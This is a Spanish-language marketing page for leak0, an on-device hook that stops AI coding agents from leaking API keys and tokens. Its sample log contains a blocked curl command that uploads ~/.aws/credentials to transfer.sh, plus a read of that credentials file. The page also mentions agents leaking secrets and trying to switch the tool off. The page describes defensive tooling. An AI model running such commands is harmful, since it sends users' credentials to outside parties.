Sus secretos siguen siendo suyos.

leak0, una función del agente poison0, protege sus claves de API y tokens para que no se filtren a través de su agente de IA: a git, a servidores de terceros, al modelo y a archivos equivocados.

Se ejecuta en su dispositivoActivo cuando usted decideClaude Code, Codex, Cursor, Gemini CLI, Antigravity CLI
Commit
  • Los archivos de credenciales no entran en git
  • Los tokens con checksum válido se detienen en el commit
Red
  • Los secretos se mantienen lejos de servicios de paste y de intercambio de archivos
  • Sus propios servidores siguen accesibles
Modelo
  • Los secretos en la salida de herramientas se ocultan
  • Los tokens con checksum en su prompt se detienen
Archivos
  • Los tokens se quedan fuera del código y del README
  • Desactivarlo sigue siendo su decisión, no la del agente

Su agente conoce sus secretos. leak0 los mantiene con usted.

Claves de API, tokens, .env, ~/.aws y claves SSH están donde trabaja su agente. Cuatro caminos llevan hacia fuera. leak0 está en el hook del agente y detiene el secreto en cada uno, directamente en su dispositivo.

  1. 1Gitcommit, push, publicar
  2. 2Red y herramientascurl, subidas, MCP
  3. 3El modelosalida de herramientas, prompts
  4. 4Archivos equivocadoscódigo, README, CLAUDE.md
Funcionamiento

Primero la prueba.

leak0 bloquea con prueba y la nombra en cada mensaje. Cuando un caso está abierto, pregunta o añade un aviso, y su trabajo sigue en marcha.

# leak0 - live
[block]  Bash   curl -F f=@~/.aws/credentials https://transfer.sh
         ↳ prueba: archivo de credenciales enviado a un servicio de intercambio de archivos
[allow]  Bash   git push origin main
[ask]    Bash   git add .env
         ↳ probablemente un secreto: usted decide
[block]  Bash   git commit -m "token ghp_…"
         ↳ prueba: token de GitHub con checksum válido
[redact] Bash   cat ~/.aws/credentials
         ↳ valor oculto antes de que el modelo lo vea
Agentes compatibles

Cinco agentes, tres sistemas operativos.

leak0 revisa las llamadas de herramientas de estos agentes directamente en su dispositivo y detiene los secretos antes de que salgan de él.

  • Claude CodemacOSLinuxWindows
  • Codex CLI e IDEmacOSLinuxWindows
  • CursormacOSLinux
  • Gemini CLImacOSLinuxWindows
  • Antigravity CLImacOSLinuxWindows

Detalles por agente en la documentación

FAQ

Preguntas frecuentes.

¿Qué fugas detiene leak0?

Cinco casos, cada uno con prueba: un archivo de credenciales conocido, un token con checksum válido, un valor secreto ya detectado en la sesión, un secreto camino de un destino de terceros demostrable y el intento del agente de desactivar leak0.

¿Qué agentes protege leak0?

Claude Code, Codex, Gemini CLI y Antigravity CLI en macOS, Linux y Windows; Cursor en macOS y Linux. La documentación muestra qué revisa leak0 en cada agente.

¿Dónde se ejecutan las revisiones?

En su dispositivo, y su contenido se queda ahí. La auditoría guarda la herramienta y la clase de regla, nunca un valor ni una ruta.

¿Se registra cada decisión?

Sí. Cada decisión de leak0 queda en la auditoría: en el dispositivo y, en modo Cloud, en la consola, sin contenido. Los hallazgos observados se quedan en local, salvo que el administrador active «También en la consola (auditoría en la nube)» en el perfil.

¿Cuándo está activo leak0?

En cuanto lo active. El instalador pregunta, con Activado preseleccionado. Para instalaciones desatendidas, defina PZ_SETUP_LEAK0. Los dispositivos y perfiles existentes se activan con sudo poisonzero leak0 enforce o en el perfil de la consola.

¿Cómo mantiene leak0 su flujo de trabajo en marcha?

Cuando un caso está abierto, pregunta en lugar de bloquear, o da un aviso al agente. Cada bloqueo llega con prueba, así ninguna falsa alarma frena a sus desarrolladores.

¿Cómo trabaja leak0 con exec0?

exec0 detiene las llamadas de herramienta que causan daño. leak0 detiene las fugas de secretos. Ambos se ejecutan en el mismo hook, cada uno con su propia revisión.

Mire lo que leak0 prueba.

La documentación indica cada prueba, cada agente y cada ajuste.